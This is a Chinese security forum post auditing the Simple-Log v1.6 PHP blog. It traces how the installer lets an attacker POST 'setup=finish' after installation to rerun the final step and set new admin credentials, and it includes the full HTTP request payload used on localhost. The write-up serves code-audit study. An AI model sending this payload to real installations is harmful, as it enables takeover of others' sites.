本帖最后由 Aedoo 于 2018-1-2 08:17 编辑
0x00 代码跟踪
首页,index.php:
1.png (25.21 KB, 下载次数: 95)
2017-12-18 23:51 上传首先包含php文件:/includes/core.php
2.png (42.36 KB, 下载次数: 102)
2017-12-18 23:51 上传
第9、11行代码:
[PHP] 纯文本查看 复制代码define('SLSYS',defined('SAE_TMP_PATH')?'SAE':'NORMAL');
//定义博客系统的运行环境
require(PBBLOG_ROOT.'/includes/'.SLSYS.'.core.php');
如果定义过SAE_TMP_PATH变量,则SLSYS为SAE。
但是博客并未安装过,SLSYS会被赋值为NORMAL。
因此第11行会包含文件:/includes/NORMAL.core.php
继续跟踪:/includes/NORMAL.core.php
3.png (60.59 KB, 下载次数: 103)
2017-12-18 23:51 上传
第22行:先判断/home/data/config.php文件是否存在,如果存在包含此文件。
但实际未安装之前此文件并不存在,而33行的$install_lock变量是在此文件中定义的。
所以会进入if循环,从而跳转到安装界面。
0x01 漏洞分析
假设现在已经成功安装了Simple-Log博客。
此时已经存在/home/data/config.php文件,并且已被包含,$install_lock=true。
4.png (39.59 KB, 下载次数: 93)
2017-12-18 23:51 上传
第59行:此时需要$setup参数不等于finish,才会满足条件并且跳转到博客首页。
第52行:如果POST进入的参数setup不为空,则setup被赋值为POST值,反之会被赋值为check。
所以这两个处代码导致了$setup参数可控,可直接POST参数: setup=finish
会直接进行安装的最后一步。
下图为进入$setup=finish的代码,接收host、dbuser、dbpass等POST进的参数并连接数据库:
5.png (97.94 KB, 下载次数: 95)
2017-12-18 23:51 上传
一同POST进入的值还有管理员账户以及密码等,随后会插入到数据库
6.png (57.4 KB, 下载次数: 98)
2017-12-18 23:51 上传
给出Payload:(可点击纯文本查看)
[AppleScript] 纯文本查看 复制代码POST /simplelog/install/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Cookie: PHPSESSID=2h2vr0hj990r37p9pfj6qlluv7
Connection: close
Upgrade-Insecure-Requests: 1
setup=finish&host=localhost&dbname=simpletest&dbuser=root&dbpass=root&admin_user=admin&admin_pass=123456&blogname=simple
代码区域会被转码,可点击纯文本查看,下面也给出图片:
7.png (29.07 KB, 下载次数: 112)
2017-12-18 23:51 上传
测试成功:
8.png (75.12 KB, 下载次数: 108)
2017-12-18 23:51 上传
0x03 小结
虽然此处安装逻辑问题比较鸡肋,因为你并不知道数据库管理员用户名以及密码。
但是作为安装逻辑的案例,还是比较好的。
0x04 环境以及源码下载
审计工具:PHPStorm
审计环境:phpStudy
源码分享:
Simple-Log-v1.6.20120201.zip
(561.05 KB, 下载次数: 6, 售价: 3 魔法币)
2017-12-18 23:54 上传
点击文件名下载附件
售价: 3 魔法币 [记录]
下载积分: 魔法币 -5